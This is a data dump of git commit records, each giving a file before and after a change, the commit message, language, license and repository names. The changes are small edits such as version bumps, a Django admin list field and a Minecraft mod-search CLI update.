Binary(Eq(t),Binary(Minus(t),x,y),Lit(t,0))
-> Binary(Eq(t),x,y) |
Unary(Not(Bool),Binary(Eq(t),x,y))
-> Binary(NotEq(t),x,y) |
Binary(And(_),x,x)
-> x
applicable =
ir.path.Applicable(
ir.pa... | """Simplify Expression"""
from transf import parse
import ir.match
import ir.path
parse.Transfs(r'''
simplify =
Binary(Eq(Int(_,_)),Binary(Minus(Int(_,_)),x,y),Lit(Int(_,_),0))
-> Binary(Eq(t),x,y) |
Unary(Not(Bool),Binary(Eq(t),x,y))
-> Binary(NotEq(t),x,y) |
Binary(And(_),x,x)
-> x
applicable =
ir.pat... | <commit_before>"""Simplify Expression"""
from transf import parse
import ir.match
import ir.path
parse.Transfs(r'''
simplify =
Binary(Eq(Int(_,_)),Binary(Minus(Int(_,_)),x,y),Lit(Int(_,_),0))
-> Binary(Eq(t),x,y) |
Unary(Not(Bool),Binary(Eq(t),x,y))
-> Binary(NotEq(t),x,y) |
Binary(And(_),x,x)
-> x
appli... |
e23738a84e370ebc9c17ae2bb38d65939efde4ab | version.py | version.py | """Simply keeps track of the current version of the client"""
VERSION="0.10.0"
| """Simply keeps track of the current version of the client"""
VERSION="0.10.1"
| Remove commented out code from build/lib/__main__.py | Remove commented out code from build/lib/__main__.py
| Python | mit | sgambino/project-packaging | """Simply keeps track of the current version of the client"""
VERSION="0.10.0"
Remove commented out code from build/lib/__main__.py | """Simply keeps track of the current version of the client"""
VERSION="0.10.1"
| <commit_before>"""Simply keeps track of the current version of the client"""
VERSION="0.10.0"
<commit_msg>Remove commented out code from build/lib/__main__.py<commit_after> | """Simply keeps track of the current version of the client"""
VERSION="0.10.1"
| """Simply keeps track of the current version of the client"""
VERSION="0.10.0"
Remove commented out code from build/lib/__main__.py"""Simply keeps track of the current version of the client"""
VERSION="0.10.1"
| <commit_before>"""Simply keeps track of the current version of the client"""
VERSION="0.10.0"
<commit_msg>Remove commented out code from build/lib/__main__.py<commit_after>"""Simply keeps track of the current version of the client"""
VERSION="0.10.1"
|
33c8488cf656ec52ad0d74a9991a2ce23af69c46 | version.py | version.py | ZULIP_VERSION = "1.5.1+git"
PROVISION_VERSION = '5.1'
| ZULIP_VERSION = "1.5.1+git"
PROVISION_VERSION = '5.2'
| Update PROVISION_VERSION for webpack upgrade. | deps: Update PROVISION_VERSION for webpack upgrade.
| Python | apache-2.0 | verma-varsha/zulip,hackerkid/zulip,Galexrt/zulip,rishig/zulip,eeshangarg/zulip,vabs22/zulip,tommyip/zulip,verma-varsha/zulip,mahim97/zulip,kou/zulip,eeshangarg/zulip,amanharitsh123/zulip,verma-varsha/zulip,kou/zulip,eeshangarg/zulip,shubhamdhama/zulip,brainwane/zulip,punchagan/zulip,j831/zulip,shubhamdhama/zulip,brockw... | ZULIP_VERSION = "1.5.1+git"
PROVISION_VERSION = '5.1'
deps: Update PROVISION_VERSION for webpack upgrade. | ZULIP_VERSION = "1.5.1+git"
PROVISION_VERSION = '5.2'
| <commit_before>ZULIP_VERSION = "1.5.1+git"
PROVISION_VERSION = '5.1'
<commit_msg>deps: Update PROVISION_VERSION for webpack upgrade.<commit_after> | ZULIP_VERSION = "1.5.1+git"
PROVISION_VERSION = '5.2'
| ZULIP_VERSION = "1.5.1+git"
PROVISION_VERSION = '5.1'
deps: Update PROVISION_VERSION for webpack upgrade.ZULIP_VERSION = "1.5.1+git"
PROVISION_VERSION = '5.2'
| <commit_before>ZULIP_VERSION = "1.5.1+git"
PROVISION_VERSION = '5.1'
<commit_msg>deps: Update PROVISION_VERSION for webpack upgrade.<commit_after>ZULIP_VERSION = "1.5.1+git"
PROVISION_VERSION = '5.2'
|
c2be2bbd4dc6766eca004253b66eae556950b7bd | mccurse/cli.py | mccurse/cli.py | """Package command line interface."""
import click
from .curse import Game, Mod
# Static data
MINECRAFT = {'id': 432, 'name': 'Minecraft'}
@click.group()
def cli():
"""Minecraft Curse CLI client."""
@cli.command()
@click.option(
'--refresh', is_flag=True, default=False,
help='Force refreshing of sea... | """Package command line interface."""
import curses
import click
from .curse import Game, Mod
from .tui import select_mod
# Static data
MINECRAFT = {'id': 432, 'name': 'Minecraft'}
@click.group()
def cli():
"""Minecraft Curse CLI client."""
# Initialize terminal for querying
curses.setupterm()
@cl... | Add mod selection to the search command | Add mod selection to the search command
| Python | agpl-3.0 | khardix/mccurse | """Package command line interface."""
import click
from .curse import Game, Mod
# Static data
MINECRAFT = {'id': 432, 'name': 'Minecraft'}
@click.group()
def cli():
"""Minecraft Curse CLI client."""
@cli.command()
@click.option(
'--refresh', is_flag=True, default=False,
help='Force refreshing of sea... | """Package command line interface."""
import curses
import click
from .curse import Game, Mod
from .tui import select_mod
# Static data
MINECRAFT = {'id': 432, 'name': 'Minecraft'}
@click.group()
def cli():
"""Minecraft Curse CLI client."""
# Initialize terminal for querying
curses.setupterm()
@cl... | <commit_before>"""Package command line interface."""
import click
from .curse import Game, Mod
# Static data
MINECRAFT = {'id': 432, 'name': 'Minecraft'}
@click.group()
def cli():
"""Minecraft Curse CLI client."""
@cli.command()
@click.option(
'--refresh', is_flag=True, default=False,
help='Force re... | """Package command line interface."""
import curses
import click
from .curse import Game, Mod
from .tui import select_mod
# Static data
MINECRAFT = {'id': 432, 'name': 'Minecraft'}
@click.group()
def cli():
"""Minecraft Curse CLI client."""
# Initialize terminal for querying
curses.setupterm()
@cl... | """Package command line interface."""
import click
from .curse import Game, Mod
# Static data
MINECRAFT = {'id': 432, 'name': 'Minecraft'}
@click.group()
def cli():
"""Minecraft Curse CLI client."""
@cli.command()
@click.option(
'--refresh', is_flag=True, default=False,
help='Force refreshing of sea... | <commit_before>"""Package command line interface."""
import click
from .curse import Game, Mod
# Static data
MINECRAFT = {'id': 432, 'name': 'Minecraft'}
@click.group()
def cli():
"""Minecraft Curse CLI client."""
@cli.command()
@click.option(
'--refresh', is_flag=True, default=False,
help='Force re... |
d21f32b8e5e069b79853724c3383af3beabc3686 | app/wine/admin.py | app/wine/admin.py | from django.contrib import admin
from .models import Wine, Grape, Winery
class GrapeInline(admin.TabularInline):
model = Grape
extra = 0
@admin.register(Wine)
class WineAdmin(admin.ModelAdmin):
list_display = ["__str__", "year", "in_cellar",]
fieldsets = (
('Bottle', {
'fields': ... | from django.contrib import admin
from .models import Wine, Grape, Winery
class GrapeInline(admin.TabularInline):
model = Grape
extra = 0
@admin.register(Wine)
class WineAdmin(admin.ModelAdmin):
list_display = ["__str__", "year", "wine_type", "in_cellar",]
fieldsets = (
('Bottle', {
... | Add wine type to the list. | Add wine type to the list.
| Python | mit | ctbarna/cellar,ctbarna/cellar | from django.contrib import admin
from .models import Wine, Grape, Winery
class GrapeInline(admin.TabularInline):
model = Grape
extra = 0
@admin.register(Wine)
class WineAdmin(admin.ModelAdmin):
list_display = ["__str__", "year", "in_cellar",]
fieldsets = (
('Bottle', {
'fields': ... | from django.contrib import admin
from .models import Wine, Grape, Winery
class GrapeInline(admin.TabularInline):
model = Grape
extra = 0
@admin.register(Wine)
class WineAdmin(admin.ModelAdmin):
list_display = ["__str__", "year", "wine_type", "in_cellar",]
fieldsets = (
('Bottle', {
... | <commit_before>from django.contrib import admin
from .models import Wine, Grape, Winery
class GrapeInline(admin.TabularInline):
model = Grape
extra = 0
@admin.register(Wine)
class WineAdmin(admin.ModelAdmin):
list_display = ["__str__", "year", "in_cellar",]
fieldsets = (
('Bottle', {
... | from django.contrib import admin
from .models import Wine, Grape, Winery
class GrapeInline(admin.TabularInline):
model = Grape
extra = 0
@admin.register(Wine)
class WineAdmin(admin.ModelAdmin):
list_display = ["__str__", "year", "wine_type", "in_cellar",]
fieldsets = (
('Bottle', {
... | from django.contrib import admin
from .models import Wine, Grape, Winery
class GrapeInline(admin.TabularInline):
model = Grape
extra = 0
@admin.register(Wine)
class WineAdmin(admin.ModelAdmin):
list_display = ["__str__", "year", "in_cellar",]
fieldsets = (
('Bottle', {
'fields': ... | <commit_before>from django.contrib import admin
from .models import Wine, Grape, Winery
class GrapeInline(admin.TabularInline):
model = Grape
extra = 0
@admin.register(Wine)
class WineAdmin(admin.ModelAdmin):
list_display = ["__str__", "year", "in_cellar",]
fieldsets = (
('Bottle', {
... |
761b9935d0aa9361cef4093b633c54a3ab8e132a | anchore_engine/common/__init__.py | anchore_engine/common/__init__.py | """
Common utilities/lib for use by multiple services
"""
subscription_types = ['policy_eval', 'tag_update', 'vuln_update', 'repo_update', 'analysis_update']
resource_types = ['registries', 'users', 'images', 'policies', 'evaluations', 'subscriptions', 'archive']
bucket_types = ["analysis_data", "policy_bundles", "pol... | """
Common utilities/lib for use by multiple services
"""
subscription_types = ['policy_eval', 'tag_update', 'vuln_update', 'repo_update', 'analysis_update']
resource_types = ['registries', 'users', 'images', 'policies', 'evaluations', 'subscriptions', 'archive']
bucket_types = ["analysis_data", "policy_bundles", "pol... | Add some package and feed group types for api handling | Add some package and feed group types for api handling
Signed-off-by: Zach Hill <9de8c4480303b5335cd2a33eefe814615ba3612a@anchore.com>
| Python | apache-2.0 | anchore/anchore-engine,anchore/anchore-engine,anchore/anchore-engine | """
Common utilities/lib for use by multiple services
"""
subscription_types = ['policy_eval', 'tag_update', 'vuln_update', 'repo_update', 'analysis_update']
resource_types = ['registries', 'users', 'images', 'policies', 'evaluations', 'subscriptions', 'archive']
bucket_types = ["analysis_data", "policy_bundles", "pol... | """
Common utilities/lib for use by multiple services
"""
subscription_types = ['policy_eval', 'tag_update', 'vuln_update', 'repo_update', 'analysis_update']
resource_types = ['registries', 'users', 'images', 'policies', 'evaluations', 'subscriptions', 'archive']
bucket_types = ["analysis_data", "policy_bundles", "pol... | <commit_before>"""
Common utilities/lib for use by multiple services
"""
subscription_types = ['policy_eval', 'tag_update', 'vuln_update', 'repo_update', 'analysis_update']
resource_types = ['registries', 'users', 'images', 'policies', 'evaluations', 'subscriptions', 'archive']
bucket_types = ["analysis_data", "policy... | """
Common utilities/lib for use by multiple services
"""
subscription_types = ['policy_eval', 'tag_update', 'vuln_update', 'repo_update', 'analysis_update']
resource_types = ['registries', 'users', 'images', 'policies', 'evaluations', 'subscriptions', 'archive']
bucket_types = ["analysis_data", "policy_bundles", "pol... | """
Common utilities/lib for use by multiple services
"""
subscription_types = ['policy_eval', 'tag_update', 'vuln_update', 'repo_update', 'analysis_update']
resource_types = ['registries', 'users', 'images', 'policies', 'evaluations', 'subscriptions', 'archive']
bucket_types = ["analysis_data", "policy_bundles", "pol... | <commit_before>"""
Common utilities/lib for use by multiple services
"""
subscription_types = ['policy_eval', 'tag_update', 'vuln_update', 'repo_update', 'analysis_update']
resource_types = ['registries', 'users', 'images', 'policies', 'evaluations', 'subscriptions', 'archive']
bucket_types = ["analysis_data", "policy... |
8233bee4cf296a67fd2a86ed812557ffbf826cb8 | wp2github/_version.py | wp2github/_version.py | __version_info__ = (1, 0, 1)
__version__ = '.'.join(map(str, __version_info__))
| __version_info__ = (1, 0, 2)
__version__ = '.'.join(map(str, __version_info__))
| Replace Markdown README with reStructured text | Replace Markdown README with reStructured text
| Python | mit | r8/wp2github.py | __version_info__ = (1, 0, 1)
__version__ = '.'.join(map(str, __version_info__))
Replace Markdown README with reStructured text | __version_info__ = (1, 0, 2)
__version__ = '.'.join(map(str, __version_info__))
| <commit_before>__version_info__ = (1, 0, 1)
__version__ = '.'.join(map(str, __version_info__))
<commit_msg>Replace Markdown README with reStructured text<commit_after> | __version_info__ = (1, 0, 2)
__version__ = '.'.join(map(str, __version_info__))
| __version_info__ = (1, 0, 1)
__version__ = '.'.join(map(str, __version_info__))
Replace Markdown README with reStructured text__version_info__ = (1, 0, 2)
__version__ = '.'.join(map(str, __version_info__))
| <commit_before>__version_info__ = (1, 0, 1)
__version__ = '.'.join(map(str, __version_info__))
<commit_msg>Replace Markdown README with reStructured text<commit_after>__version_info__ = (1, 0, 2)
__version__ = '.'.join(map(str, __version_info__))
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.